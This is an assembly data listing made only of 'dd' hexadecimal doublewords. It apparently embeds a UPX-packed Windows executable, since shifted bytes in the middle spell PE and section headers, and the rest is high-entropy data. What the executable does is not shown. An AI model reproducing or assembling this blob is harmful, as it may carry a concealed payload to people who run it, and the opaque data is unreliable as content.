dd 986ED939h, 66185BD2h, 4AE31246h, 2BBF7A49h, 0F12814EEh
dd 4F67F5C4h, 656707D2h, 95787743h, 0C8EABF39h, 0EB869E38h
dd 7F34C575h, 698C9632h, 0DD20DC3h, 8496FDDAh, 0A927741Ch
dd 637DB3Bh, 0F999ED61h, 0E6AE735Ah, 6F1A3DC3h, 0CB9A8DFh
dd 3F2BAF4Fh, 0BFE922F8h, 12B49DFCh, 0BD76B017h, 4DFB35EFh
dd 70DDFFEFh, 1DE136FAh, 6DFE11Fh, 0E4E5B37Bh, 0EA67216Eh
dd 0DF48AF50h, 0DD1E897Eh, 0BB971F37h, 671CB9A7h, 55317C4Bh
dd 8CE5883Dh, 7775A5AFh, 0F2D3C03Fh, 211C7239h, 1C6EC419h
dd 0B96EFC6h, 0A5F89DB1h, 0FAF76CD3h, 758E2A02h, 4CB307D3h
dd 81ED96A7h, 0EB99F9F8h, 0DD08BDE4h, 0DC8426E4h, 0DE3C7E3Ch
dd 0E71D6CE0h, 912B4FB1h, 9CBD5236h, 0ABD6B0F8h, 8ED61098h
dd 0EF816F22h, 0FD3CCAE7h, 3BAE969Eh, 962112BEh, 2BAD9DECh
dd 0EDBABEB3h, 57BC3165h, 0CB6184A7h, 0DE17B82Bh, 3E369E01h
dd 0A4F79B6Ch, 0F3CA222Dh, 7C686A80h, 2C284013h, 0AF9E69Dh
dd 0B9B9570Eh, 9EBBAFEEh, 0ED3CE5BAh, 0BE465A9Fh, 1D3F897Bh
dd 0CAEB9F7Bh, 7DE8BF73h, 9630DBF0h, 0CDD4E86Fh, 8BE4059Ch
dd 0B3C616D9h, 0DC679CE2h, 0CCC83831h, 36FFDD7Ah, 64B9FE32h
dd 0BECEE63Eh, 0CC82AA35h, 0E3D339F5h, 0DF1B6FC3h, 72178AA1h
dd 4DBD58F9h, 989E3B04h, 5D7A6EDBh, 0C445CE5Dh, 0CB1145EFh
dd 6CB2FB67h, 0C756EC7Fh, 3359A76Eh, 0F2A01EF7h, 3B487CDh
dd 1268DE56h, 0DBF37FF7h, 39C4FA24h, 0BACFFF68h, 0DF882D90h
dd 0BF771096h, 2BAB9BE1h, 0E2C17FB0h, 91CEBA95h, 25E6F1F7h
dd 7DF4BDE6h, 0A41772FFh, 66F657F8h, 0C19359DAh, 164F8D3Ch
dd 6E562347h, 0BED24F62h, 0A1324B81h, 0EFCF06FFh, 2C83h
dd 45500000h, 14C0000h, 59BE0008h, 4660h, 0
dd 0E00000h, 10B010Fh, 5253h, 40000005h, 4, 0A10B0000h
dd 0D000000Ch, 0D0000008h, 0Eh, 10000040h, 2000000h, 40000h
dd 0
dd 40000h, 0
dd 0D2000000h, 10000014h, 6E800000h, 20009h, 0
dd 10000010h, 0
dd 10000010h, 0
dd 100000h, 2 dup(0)
dd 0D0000000h, 660014h, 14h dup(0)
dd 0D0000000h, 288000Eh, 6 dup(0)
dd 50550000h, 3058h, 20000000h, 10000007h, 20000000h, 10000007h
dd 3 dup(0)
dd 800000h, 5055E000h, 3158h, 90000000h, 30000001h, 90000007h
dd 30000001h, 7, 2 dup(0)
dd 400000h, 5055E000h, 3258h, 10000000h, 0C0000000h, 10000008h
dd 0C0000000h, 8, 2 dup(0)
dd 400000h, 742EC000h, 747865h, 0
dd 0D0000005h, 8, 0D0000005h, 8, 2 dup(0)
dd 200000h, 612EE000h, 61746164h, 0
dd 0D0000001h, 0Dh, 0D0000001h, 0Dh, 2 dup(0)
dd 200000h, 642EE000h, 617461h, 0
dd 0D0000002h, 0Eh, 0D0000002h, 0Eh, 2 dup(0)
dd 400000h, 702EC000h, 61746164h, 0
dd 0D0000004h, 10h, 0D0000004h, 10h, 2 dup(0)
dd 400000h, 692EC000h, 61746164h, 10000032h, 0D0000000h
dd 2000014h, 0D0000000h, 15E70014h, 5FADB39Ch, 0DFE973E1h
dd 4086A4h, 0DFDC000h, 6DB47FB8h, 791D976h, 3F9BCBE5h
dd 0EB387A6Fh, 0AE7165CBh, 2F950915h, 994CA897h, 0A7D3C06Ah
dd 86A963B6h, 0A7E1F31Eh, 0C9352CCEh, 0E63D9EE1h, 27443E2Fh
dd 0AEB6653Eh, 5B74B9D9h, 0C4A4EDEDh, 0D353AFA7h, 854403D2h
dd 0D86F3996h, 0E623F098h, 0CA8AF98Ah, 0E56A6775h, 0DF71ABA6h
dd 0B5982B7Ah, 0AAA0F98Ch, 0A09BF30Dh, 18FE768h, 0DC6E7F2Ah
dd 4DCE799Fh, 662F9BDAh, 21C3A472h, 0A6397D43h, 0EBFF39E9h
dd 0AEE59444h, 8E6A331Fh, 3C1BFD72h, 0FAF7FEAFh, 0BD1EEF05h
dd 31F658BFh, 22C1A66Dh, 790A9BE5h, 0AEF7A2F3h, 0D37AB4DFh
dd 0B3AAE8A5h, 0E76DA7DBh, 5D7CBBF7h, 0EEC6DBCCh, 8AA9DF9Ah
dd 176A574Bh, 0CF8514AAh, 0B3C69FBDh, 82F64C37h, 0B37152F3h
dd 0FD7C571Bh, 67EFA614h, 0CB3F718Ch, 5D245E6Bh, 2392C8D4h
dd 0EDFEE79Ah, 47CCEF0Bh, 25ED778Dh, 0DB2D55DFh, 0B278BE6Ah
dd 0ADF4E5D0h, 966C1B66h, 0D3506C1Ch, 0B6567D4Ah, 0EDAF3164h
dd 0CDCE0D7Fh, 49CFA4EFh, 75B43ACCh, 1343F3CFh, 13F4DD5Eh
dd 0CAECFE3Eh, 0F5151BD1h, 671B16D9h, 0A064FE1Ch, 0D8B9D1A2h
dd 0DCEB737Dh, 8EB7794Fh, 57A9BCA8h, 7D5CFC7Ch, 0F4CCF366h
dd 97BF2933h, 14926EAFh, 0B26DE250h, 0B9F85A0Eh, 32EA656Eh
dd 3BABFEE7h, 0BFEE2B26h, 0C7C5A5EAh, 0EAE4FC6Dh, 8B4CF7FEh
dd 0DBF44B7Ah, 99B3735Dh, 0E62CDC72h, 0D4CF5F7Ch, 0BA64D16Bh
dd 196BE7DBh, 7991DD4Fh, 0F17C151Eh, 33338ACBh, 40C3D895h
dd 780007B9h, 0CEC218h, 2D000000h, 2D5B9596h, 4C5B932Ch
dd 4F5B9326h, 3C9BD775h, 0C2DE9B48h, 8250F668h, 0F1988398h
dd 632196D3h, 2AC6C7DEh, 61E44A46h, 0E60643A1h, 439CBFD4h
dd 0D61B7C7Dh, 0B3B28F60h, 8E9A19A9h, 0BAAFCEEFh, 107A527Eh
dd 8C34D42Bh, 0ACAF6313h, 0FD36E967h, 8DE6C041h, 0F279A474h
dd 3D7607C0h, 11415726h, 0C2DACEECh, 89A260D1h, 2F22971Dh
dd 5CFDC260h, 0BEE18BCEh, 0C4AE57Bh, 356D38C6h, 20167749h
dd 0A0198EB2h, 70655F02h, 34277386h, 0A3C5141Ch, 0CD82AC65h
dd 461A8669h, 9CB819AAh, 0CDFE95D7h, 2F897F8Ah, 35EB017Ch
dd 861F27C3h, 744A4F5Bh, 235FA85Bh, 0EF6478CDh, 0BE971092h
dd 0B8A656B8h, 0EC16B42Ch, 0CDC84761h, 0B63C4DA3h, 19B3D25Bh
dd 69A7A94Ch, 0C1030808h, 1249E5F5h, 0AAD79DB4h, 80C4FC11h
dd 0ECEB7F46h, 0AA445D53h, 529441C5h, 7D4F2002h, 0D45D686Ah
dd 0FD4E07FFh, 0BC344AACh, 17C7853Dh, 0CD114924h, 5C5EFA52h
dd 0ECF85F91h, 0B6EC962Fh, 69F9E34Ah, 1DD57F7Fh, 0E642CA23h
dd 6BD4AF61h, 675F97CAh, 7BA942BEh, 0CD293630h, 7B12A48Dh
dd 57C97A78h, 0CF4D16CCh, 0DF940224h, 9770B660h, 2182B7Ch
dd 470255F3h, 5383AAC7h, 0D28E9FBBh, 1C990248h, 375EEB56h
dd 160E7566h, 0F19ED7CCh, 360756FCh, 0A0C7BCF9h, 0C86FB224h
dd 0FA3E0F6Bh, 80C2DA47h, 32482FDh, 95BADEEAh, 0A1FD98A9h
dd 162B252Ch, 0B2D78572h, 0ECBAFA65h, 845BE9EDh, 0D733611Bh
dd 0B2D0FDE9h, 0ADCBB753h, 0DEE62E64h, 0B1C97C14h, 4C368F2Bh
dd 3E6032ACh, 35DBCA0Dh, 0F2F13748h, 0AF53A74Fh, 0A620BD0h
dd 32CB2007h, 9E457713h, 324B5DF4h, 0FD520B85h, 446EE24Fh
dd 0C67AB0BEh, 0E0026C79h, 92E5E6EDh, 28EF2ECh, 166926FCh
dd 279031F1h, 0B4C72321h, 29CBBA30h, 4F0ECB66h, 122CE13Dh
dd 0B91B9A08h, 6D0FA312h, 0BF19190Eh, 8A37B5AEh, 1BF13C4h
dd 0F8EFCD1Ah, 3721DABBh, 219DD25Eh, 81D50C95h, 1057F7B9h
dd 3A1DE282h, 0EE391167h, 0FDFA41F4h, 6439E003h, 0CA9341EAh
dd 0F203F1B6h, 5C1461C7h, 2C0EDE9Bh, 5AFF6096h, 822C6869h
dd 635134EAh, 9C811F74h, 0EBB46CD6h, 0E68C212Dh, 0DE0082D7h
dd 0A92624F1h, 938E8AC6h, 0D255AA96h, 1F0EBC3Eh, 0DFC93281h
dd 2D49BC05h, 0D82C76Dh, 392DF80h, 9C6B5256h, 0CB3CFCB7h
dd 3395F98Ch, 886B5118h, 247FB59Ch, 4864253Ah, 4A178ABCh
dd 36F5541Ch, 0A3D0D99Ch, 90A4D3B7h, 0F702792Fh, 0BD546096h
dd 0CB4D37B3h, 0B0BEAD31h, 0B683FF26h, 62403EC0h, 91873E35h
dd 1B4F2A26h, 0D0DDABC9h, 765CEA82h, 2C370B3Eh, 4C6DCA14h
dd 0B61153EEh, 0DBA1F715h, 42FDD7EEh, 893F345Bh, 0B304A23Ch
dd 52B451C1h, 23FEBF81h, 462BB206h, 0F08B184Ah, 0AC023C13h
dd 0F5A00C5h, 8ED2583Dh, 0D3FCB700h, 3B62648Ch, 5B494D29h
dd 786F739Bh, 73265291h, 0A9903FECh, 0D1757859h, 0A5E9711Eh
dd 0D301E093h, 0E04CB35Bh, 0A7EA464Dh, 0EE9F83E1h, 20423F91h
dd 0EC04EDCDh, 3F8B00BFh, 0FFB3F4DDh, 0F4ADC01h, 4490826Fh
dd 0AE7DE507h, 6985F744h, 446CF31Dh, 3C543A22h, 0A5DF5CCCh
dd 0A2052C7Ah, 0D6683804h, 6B850043h, 37687896h, 3D851FDFh
dd 1097F31Eh, 5F3DFC95h, 0DC07C2FCh, 28454234h, 39A20AABh
dd 97B1E505h, 0DDB11E08h, 9592128Ch, 61D66D3Eh, 5EC3FF3Fh
dd 2C68630Fh, 92E31242h, 58D7B565h, 4E4CFDB8h, 7299909Fh
dd 5D01FD5Ah, 4B58AEEAh, 62033459h, 32E9024Bh, 0F56C86DEh
dd 0E9443695h, 607F6BD0h, 5EFA3F5Ah, 0F2AB58AFh, 29ABE8ABh
dd 0AC288862h, 0B781A09Ah, 0D6FE8996h, 0BAB3048Fh, 0F3E9F6D7h
dd 721E31Ch, 0B62B7A9Ah, 6633C5ACh, 85E2763Ch, 0E2173C59h
dd 421EEA6h, 0DF1C4EDAh, 327B671Ah, 0E5328EAFh, 9F763C43h
dd 0D49E18C0h, 2BA31E97h, 4F5D501Ah, 8D766C43h, 2FBC2893h
dd 14B6BF55h, 10B2F6D0h, 677437A2h, 0F2A4E12Dh, 0ECBD1817h
dd 0B5EEDE64h, 61BC9B65h, 313CD3A4h, 0E3BB6D2h, 0E4F87120h
dd 0AFA0BB5Ah, 2CE5AC9Ah, 0DBD8A610h, 802F60C2h, 8778A2AAh
dd 54BE6055h, 0B64476AAh, 0DAA9F818h, 4DBBBBEEh, 94F0F9CEh
dd 0F83D5D87h, 0A0607557h, 0B5D6751Fh, 6F91276Fh, 0B4CFA036h
dd 0AE8B8C56h, 0D102CA1Fh, 0D4F2ACB1h, 2CE92811h, 9F34BAB4h
dd 0CBF2BED3h, 6E8AD277h, 69C559CAh, 85B9344Ch, 0F3C1DD28h
dd 0B2087FEBh, 4E8A66FEh, 692C847Dh, 47186DCAh, 0FD1F2291h
dd 47B9F533h, 0EA8F4699h, 4426DDA9h, 8F0329AAh, 5747CD83h
dd 4FDE0F71h, 0C5276D57h, 9AA57616h, 6B46BE4Dh, 0FBF90181h
dd 2124D349h, 12B7D43Dh, 67C9507Dh, 5509AD07h, 6DB0DE0h
dd 3E05720Bh, 0AE870D85h, 2306D966h, 0B896AB73h, 0C2A69EB3h
dd 0F13A326Fh, 4E3398CBh, 80C77806h, 0F0A165C7h, 88FEDF9Eh
dd 0B9D02883h, 24689A9Bh, 0F51C4933h, 96C654E6h, 4DB74085h
dd 3B727AA3h, 0B4215E62h, 0BE60234Fh, 4D8CA6ABh, 0BE58B372h
dd 5D3479BEh, 0D1AB62F8h, 983EDAF4h, 5A7B7551h, 383D775Ah
dd 8CC9B1D9h, 52B0CC7Ch, 81CBA037h, 0F9B0C2D9h, 2190A895h
dd 0A2999295h, 72182BA5h, 6F971079h, 6AC1CFB5h, 45B9E48Bh
dd 0F1DC9A6Fh, 19EC3434h, 92F5B779h, 0BCD8CFE4h, 0A587E33Dh
dd 67DD0F61h, 0A75CD60Bh, 0D18ADC23h, 0AA55741Bh, 1B7AF06Ch
dd 0B2BADE3Eh, 438FF151h, 92A2454Ch, 8D67571Eh, 1BCF617Ch
dd 0FBE429B6h, 0F10717C1h, 4092E5E6h, 0EC20C14Ch, 12A6DE7Ah
dd 7F73F323h, 67ED6768h, 1209D49Bh, 0FEAFCD67h, 0AF144871h
dd 0EA31D6EDh, 0C7EA208Fh, 175672CFh, 0BC8C34D6h, 507CE554h
dd 0D5BB2281h, 4C2C9279h, 0D3AA90DBh, 7480152Dh, 7FC85097h
dd 644BF64Bh, 389ABB79h
dd 67EFDA15h, 0CC2E2CE1h, 0B37315A7h, 0ABF6174Ah, 0DE99700Eh
dd 95CDBBEAh, 48C54FF2h, 0FC2DE6F7h, 5E26DB6Ch, 70D40012h
dd 0E75EA118h, 685B8086h, 493C9B34h, 0BFA52307h, 96A56126h
dd 738545C0h, 0C0DA2EC7h, 9BA522B8h, 0CEF5DFB5h, 872400D5h
dd 0A55CFEB7h, 40CDDE35h, 1ECA9DBFh, 0FE8AABEFh, 0D6342C7Dh
dd 0CFE343F6h, 5A69B219h, 0A2D5747Ah, 318BF599h, 0B5F6B232h
dd 0CE6555A5h, 4151B7E7h, 28DE2530h, 9B76A416h, 0F701D2F2h
dd 7741C4E8h, 0C88B6DBh, 0F1B1F769h, 0B5AD3605h, 459E9248h
dd 0A5C606D0h, 0D169FB28h, 0C05FC391h, 3DB3B37Bh, 0B7CA8C94h
dd 731B0F43h, 777BB6A1h, 8C44C096h, 0EF5A998Fh, 0FFCC85BCh
dd 0DA36714h, 0D5428E16h, 29289712h, 5656D3E9h, 9276EB27h
dd 2B6868Bh, 0FD5C8810h, 23B3E794h, 99FDA935h, 57016B84h
dd 0A1511E4h, 0DD62441Eh, 4C1C5EC3h, 4D2D67E4h, 774DF123h
dd 0EB8E59FBh, 6237D2DAh, 0EFEEBBFCh, 98BBE2Dh, 4AF17743h
dd 3E5DFD48h, 565B33B7h, 0C1ABF56Bh, 47B68310h, 0FD59DFD7h
dd 25EF1A34h, 3520F9FAh, 38C8E74Ch, 0E7C41092h, 34ADBB6Ch
dd 0BD7E5E8Bh, 98EA3EDCh, 0A5CCB9D0h, 4EF9F246h, 0A2F4FDDAh
dd 0F0845284h, 7CA734E2h, 7C5E3938h, 0FC242FABh, 0E62E7F8Ch
dd 21792C76h, 96805F26h, 9184556Fh, 0B3EA31E2h, 0F2BEC5C3h
dd 62F635B9h, 0F63E08C7h, 0B241A602h, 0A16B04EFh, 8D9E0AD0h
dd 0D69D0624h, 3835AD06h, 0EC685896h, 0AAEBB7D4h, 4483CC18h
dd 0D5471D29h, 0BE8CDABFh, 4B24C09Ch, 601CF362h, 0A95567FEh
dd 381354D4h, 8F42D1F4h, 63819CFDh, 1B3AD76Ch, 66E5F5B8h
dd 24209489h, 4E1DAC92h, 376786D1h, 2135B3C0h, 38C9B2E5h
dd 35199F51h, 623A4219h, 1A53D0Ch, 9BD48B28h, 0F0951AEh
dd 0B063B669h, 4DDDCD51h, 7719DFE6h, 0C4A463A9h, 0FC83058h
dd 3F86A428h, 3495C1DDh, 1697735Ch, 5967BA3Ah, 0DDB8A4FEh
dd 5FD4034h, 5FA1911Dh, 8984733Fh, 0F18E3CC7h, 308B646Ch
dd 79E33760h, 49A09A5Bh, 5BBC7417h, 832F1EBAh, 7DB164FAh
dd 40647AAAh, 0A9F4F645h, 566F163Fh, 2887DB16h, 2CE6B3A3h
dd 0BA2B0D68h, 62E178CFh, 0AB63CCCh, 98B4A7BFh, 0A03CD1CAh
dd 0DF2178B9h, 78CC08FEh, 9C91C7ACh, 7513EA60h, 40EA6964h
dd 948DD0D5h, 0BAA0B46Ch, 33434290h, 631AE67h, 0E628AEC7h
dd 1253CABFh, 9757A0ECh, 0AB1DCBA5h, 2917C704h, 22FF0F54h
dd 6FBA0FD8h, 0EB3E38E1h, 21E5CEA6h, 4DD4A959h, 476F3C6Fh
dd 0CC3D8DFFh, 8503F452h, 61C32612h, 85EC213Dh, 4E5B308Eh
dd 5A6053CEh, 0ADE1EDBEh, 436EA8F4h, 397C0D3Eh, 0A393B898h
dd 7340A2BEh, 0A72EF34Ch, 0CDBF4B29h, 92E53547h, 89C2529Ch
dd 0D49F5C63h, 16C73BC6h, 2F658042h, 0AAB68174h, 0DA39D548h
dd 569B4272h, 0A8CA7A1Fh, 4BEA71FAh, 0A35135D1h, 3EF88DDh
dd 7BB1433Ch, 0DE0E602Ch, 97709FCDh, 0DE672E64h, 0DD7B3261h
dd 0D090C347h, 745A4A9Dh, 39616F53h, 45B80C46h, 0D26950F9h
dd 33023853h, 851850F7h, 0ECAECA64h, 0FCAB7451h, 80735F61h
dd 0E80F0EF5h, 0C1952E8Bh, 8C8F60Dh, 347438CFh, 3E667FDFh
dd 74A595FFh, 0E426203Fh, 4FF4AC52h, 29618B6Eh, 550E665Dh
dd 0D3770F8h, 375BDBFBh, 6E18B918h, 5E9C8DC3h, 0B53247EDh
dd 0FEB99EA5h, 584509ABh, 0D0B31966h, 7892F84Ch, 598730E7h
dd 7C9D0580h, 0B2D8605Ch, 0F97CAF41h, 1571AF80h, 3D96ED02h
dd 185D8A75h, 0F36589E3h, 0FB51FC00h, 0AE632712h, 8DC15481h
dd 361788A6h, 0CBD77EB5h, 9D5CAF14h, 3087D77Dh, 0CE600DCFh
dd 0D6261246h, 0D1095A04h, 2E90D067h, 63CDCA17h, 2D2FDE79h
dd 0E49A7F91h, 0F3939B6Eh, 0B3A72F28h, 0B8422C98h, 5E64AD14h
dd 6E6C4022h, 87C980DEh, 3F74A269h, 822224ABh, 0D44D69CAh
dd 0E6BCCA9Fh, 4C4104C5h, 4716BE0Ah, 0DE69C46Ch, 0EE93AD56h
dd 39CD6B32h, 9E7F628Fh, 0FED55BA3h, 757520E2h, 8AE78C3Bh
dd 0E6969E43h, 51AE6A01h, 34379731h, 3F0D229Ch, 2677AD7h
dd 0B0304D10h, 2C4D5E1Eh, 0B4F15781h, 0FDB1C8BDh, 0E010ED3Fh
dd 35B60F30h, 0DE5B7D5Dh, 41A9493Eh, 86265ED1h, 6E3BB312h
dd 4DDA8645h, 9199D5E9h, 21D2636Bh, 2283D1D4h, 0E8446F5h
dd 3D3EFBDBh, 5B2BC8BAh, 87047D4Eh, 3F8368FDh, 95C8584Ah
dd 2C25F606h, 0FB2B5F8Dh, 0ED558800h, 0A727E797h, 9B647FB8h
dd 0C5DB95B1h, 217FC8C3h, 5C4185Bh, 12FD5830h, 0DCBD8E10h
dd 7D749C5Ah, 9FF37C0Dh, 0EF2C4F86h, 0A131681h, 0B6CFAE1Ch
dd 4F1B9C03h, 18FBB76h, 47EA8CB4h, 2DAF8A3h, 8D45C19Ch
dd 15DC71ACh, 14FB695Ch, 0D5C4B0DBh, 891C7B1Eh, 3779F2F2h
dd 92D74D74h, 45A8EB25h, 3F2FA544h, 0E779C18Ah, 0DC2D0FBh
dd 2C731590h, 0CF1783E5h, 11B7049Dh, 1C698986h, 25942B66h
dd 341307C8h, 76FEB255h, 0BD8037D2h, 0C6B0BBDCh, 0ABDB3A5h
dd 0CB1C8731h, 30D980DAh, 29831C75h, 71BA3379h, 9785D87Eh
dd 497FA9F2h, 7382DF48h, 0B819334Bh, 1DCB2DDFh, 0E5721C1Dh
dd 0E791ED89h, 7528127h, 0C7C2C31Dh, 5EF4D3BDh, 5A422CFDh
dd 0F09BF53Eh, 48810E2Fh, 455DD9AAh, 76B63B03h, 8D1338C2h
dd 0FF087328h, 0EE62E894h, 0B4C5604Ah, 49AB893Bh, 0F0F2271Ah
dd 0C5E6F96Dh, 4E2C09C1h, 9647E18Fh, 6D053BEEh, 0B3FBB29Eh
dd 88BE53F1h, 0BB7255BAh, 2CE540D9h, 2A120914h, 90D0F266h
dd 6D2A1DA5h, 0B846A55Dh, 0F2B9244Ah, 5A1159DBh, 0D12F6760h
dd 1A042D0Eh, 0FCF291ADh, 3232CDE6h, 0B4CB65B6h, 86852959h
dd 0F1E4F771h, 0F286362Bh, 0A673C7A3h, 8FA8087Eh, 3034B120h
dd 0C1D05A97h, 3FBA6631h, 0ABDA1C97h, 0E0CBCD04h, 0DAFC61D3h
dd 925F1C1h, 912BFD92h, 315FF1DAh, 0E8539EA2h, 8CAF9782h
dd 5A5FBD20h, 294FA364h, 4D2E7CE8h, 0C9D5A0CDh, 0B62181EBh
dd 26A94C1Ch, 77D924CFh, 170E77BCh, 11394FCEh, 0DA3CDCF1h
dd 461213BCh, 7F448CF7h, 0CA55C9B6h, 4A669840h, 0A8A51B54h
dd 9D3C8F68h, 7BAAF124h, 0D55BB351h, 1AF9C386h, 6176F665h
dd 24FA6990h, 3CEA4B6Dh, 211BB02Dh, 0D8D2337Bh, 8567B75Ch
dd 351FB1E0h, 7EDE2C1Bh, 0C24ECE44h, 3064C905h, 4DA02830h
dd 0C307A589h, 0DA50DB00h, 567C8ED0h, 1F8D3A0Dh, 727337D6h
dd 0BEE67112h, 0E6A6EB64h, 0A8A6A85Ch, 0C3E0E47Eh, 106A0E0Bh
dd 0D788EFFEh, 73F8BCC6h, 2F502425h, 0FF7F6C2Eh, 0C2836DBFh
dd 0CEBDA18Eh, 79B45F02h, 24AF1FB0h, 0BC9382E0h, 0F92A58E1h
dd 160BA83Eh, 9EADD8E6h, 9FD10B9h, 0B3A6AD57h, 10856CF1h
dd 0C4922D0Ch, 806B0AB7h, 0C928595Ch, 3456C749h, 0F8F4461h
dd 48346451h, 81BF3908h, 10DA0076h, 0A3B53352h, 0F9F54D3Bh
dd 871BADD8h, 8ED73158h, 23449B84h, 0B9927A2Ch, 0E3F85727h
dd 0B32261DEh, 22D9D264h, 0DBFA84Dh, 913C991Bh, 28849BA8h
dd 5431F033h, 25411D17h, 1BA367C0h, 9CE962B7h, 0A263E1BAh
dd 0F2C3A00h, 9211C8DEh, 0A66E189h, 4DF959BAh, 0F495A46Eh
dd 0E377015Eh, 0B5CEACDFh, 0EF9BEC8Ah, 0E915873Bh, 3C6B6A20h
dd 2651E311h, 0E505078Bh, 9F64BDA0h, 5D4FADFDh, 766D46BCh
dd 3F451299h, 9A9C9679h, 0D67789FCh, 65B5CA19h, 6054E680h
dd 0AF4A2C89h, 93BCEFCCh, 0B2A2FC5Ch, 37A7A58Eh, 27C201B4h
dd 0EB2180AFh, 0A3218B22h, 0C342E79h, 8439EABAh, 8EE68D30h
dd 58E5B72Dh, 416820F2h
dd 57F48DA9h, 1238DA35h, 0ACE7A925h, 0A484F207h, 0B2484C74h
dd 0D704FB64h, 50948407h, 0E87856BFh, 0F1435254h, 35A6EAD0h
dd 0EAD82DA9h, 0F63630BCh, 0DB027512h, 75C650E8h, 80EE5143h
dd 62175A15h, 0CA3E8860h, 0BE6086F1h, 215FB59h, 0BB1EE65Fh
dd 0C87321C9h, 0A2680029h, 2A31FF28h, 638EB9D2h, 0B2EDAE73h
dd 0F327E376h, 6E7A19F3h, 0ABD664A1h, 3056C8EEh, 0C84BDA51h
dd 235A78BEh, 8CF7468h, 5BBD65EEh, 6F2F939Ah, 0CC34C00h
dd 0E13A7CD9h, 70067BAh, 79012D5Ah, 0B78270h, 896EDC68h
dd 0D82ABDA8h, 80C5A6EEh, 0B8BEA82Fh, 93F289A8h, 0D8C1C2EEh
dd 910F8D1h, 0EF4BEA4Eh, 3953BE51h, 17DA9761h, 44AD9986h
dd 0A02EAC6Dh, 0A6FF56F0h, 0CECB2118h, 8ACFDFD5h, 0A5162556h
dd 8F964719h, 0C3ACAA92h, 0C07A3A44h, 0FCA700Bh, 630115B3h
dd 0E6A6EAAFh, 0EE98726Dh, 0E092D789h, 0B8B5EF29h, 0E471B874h
dd 2EA2A4AFh, 1FE52A7Bh, 83D0A067h, 0DDD40D55h, 9D21FBFAh
dd 0B662D3ACh, 41277A4Dh, 0C2BF7480h, 27B348FAh, 0CE1B1717h
dd 0FD4C3F6Bh, 0D57FC313h, 97ED3787h, 889DA515h, 0F368F385h
dd 87B892D4h, 8B307EA2h, 31B8B8Ah, 5B147041h, 0E22F28FAh
dd 770DC6BEh, 0A6FEE158h, 76135547h, 332892F6h, 0C1408502h
dd 1DC2BE45h, 0C6B616FFh, 0CD3FFEB1h, 484F475Eh, 4920F37Bh
dd 0FAB210E5h, 570F71D9h, 7104C374h, 478E46BDh, 22F053Ah
dd 37D18854h, 0F42545F7h, 48A9914Ah, 8FE25B96h, 8F918446h
dd 0F1EC29FEh, 0DC0CBAB3h, 0FF3284BEh, 0CCD8C850h, 0ABE7F32h
dd 8CFAADA0h, 0B2497959h, 35D45BAFh, 0B2C90B72h, 0A0579353h
dd 7708F884h, 0DE4C3824h, 120357DAh, 36A131B1h, 3DDC17CCh
dd 0D16CD095h, 0B6E02CEFh, 63DB24BCh, 62E16A61h, 10859C12h
dd 14645D18h, 0ECF8EE2Ch, 7990D6E5h, 0DE9B5A38h, 0FF9E8DFh
dd 0B15BF139h, 9DE52A72h, 832A419h, 804A58E4h, 37B576Ah
dd 0D6201E7Ah, 0C9C3CA4Eh, 9CA350BAh, 6E38F1E2h, 11758051h
dd 0C9472C1Ah, 0EE9F5F5Ah, 8931FA4Eh, 0FEE6097Ah, 1987429Fh
dd 51887CFBh, 2F2A1DA5h, 0B241F09Dh, 1E971C41h, 164A1270h
dd 0C2342C41h, 1F9FBDEFh, 34C60921h, 984FE7CAh, 3FD69918h
dd 0E7F26DF0h, 0B9BD39A4h, 0EAE1D536h, 8A71B09Fh, 0BE8B6E8Fh
dd 480AF4E3h, 1CBFA3D1h, 79D8444Ah, 0F1460001h, 0B75EEB1Ah
dd 1106A8ADh, 7A174D2Dh, 0DA48E18Eh, 0C153C987h, 25BB843Eh
dd 6E140B24h, 0B2384561h, 67A56186h, 272852BBh, 0D4747578h
dd 0BFE8EDD2h, 3D861795h, 3FC38B64h, 26085544h, 5F3C6A9Eh
dd 0AFDDA62Eh, 698D280Bh, 1D4D4AC8h, 7B35366Ah, 0D05B6726h
dd 57640F9Bh, 0FA806C67h, 0A618EFB9h, 7C6AED35h, 30F1259Dh
dd 1CA7BEF1h, 188DD45Fh, 7B85412Ah, 0A8FA6FE1h, 0A56A93CCh
dd 0BF3F8ECBh, 67CEE22Ch, 0B84E3DEDh, 2CEBDE71h, 0E93E53ACh
dd 0DFD63BD9h, 96A00506h, 9ABCEE17h, 1951F823h, 1E347D2Fh
dd 93C32FC7h, 0A56D4300h, 6385A6E9h, 44C2382Fh, 16DB5C18h
dd 0ECCD6335h, 8D071E95h, 0EBD0182Bh, 70B61EA5h, 0B70EF3B7h
dd 8529FB91h, 0DCF4CE42h, 0DADF467h, 0FC671CDEh, 8F2D05B8h
dd 3416C935h, 0ABA17F13h, 65C62081h, 7C485D30h, 420A6D8Ch
dd 5BA22D9Bh, 9A97F031h, 86C737F4h, 5EDF07EBh, 731C01A0h
dd 0DD45564Eh, 1F5F3864h, 3D59ECF2h, 0D35D9E58h, 7C12F905h
dd 72FBB713h, 8E9905AEh, 228CD079h, 0C5A8ECD9h, 0A8563DBFh
dd 8B8D25EEh, 3C1E7FB2h, 111818CAh, 0B27A201Fh, 0A21D34D1h
dd 99F60AE0h, 0C5A5140Bh, 932DBAE3h, 0A1517F96h, 7ED42796h
dd 6286E267h, 0BC3E48BEh, 0ADFB318Dh, 1919F23Eh, 246CEE07h
dd 67E06C01h, 0EED80441h, 2178F0B9h, 481A4E08h, 0F88ACC9Ah
dd 3C1CD1BBh, 1C137216h, 81BE32C4h, 15ABFDCAh, 0FF36358Bh
dd 76B98B0h, 4D020CEDh, 0DF9457D5h, 7DD69B38h, 7CE51D32h
dd 79F19EF7h, 5E218AA5h, 21B11878h, 5BCFAC95h, 0F47F0090h
dd 64D678ECh, 0F4C6CF8Ch, 9646A7A5h, 547CE3FAh, 0F02A97B0h
dd 2E409529h, 0D2BE82E0h, 0ADAF3401h, 0ACF6D5C8h, 941AEC29h
dd 5BE6B44Dh, 5B1528C1h, 0F1885A3Fh, 6FD76A51h, 67A914D1h
dd 0AA80CE7Bh, 7A7AA93Dh, 0B18272FDh, 92F9601Bh, 0FC37A420h
dd 0C0E0A536h, 0BD8B529Ah, 80044719h, 26814A4Ah, 0B37A9242h
dd 8EA44856h, 74F1779Eh, 5EBDB87Bh, 52D75283h, 0CDA39D86h
dd 0EF883315h, 41442D3Ah, 98EFCF3Ch, 0D2829F8Ah, 0E2906114h
dd 6ADE2711h, 0B5C91DA5h, 0A1E40A2Bh, 2BCCC81Bh, 0AAE9E537h
dd 0B89649B7h, 0F22C9A29h, 0C44EB143h, 94AB2EC2h, 0D1A4239Dh
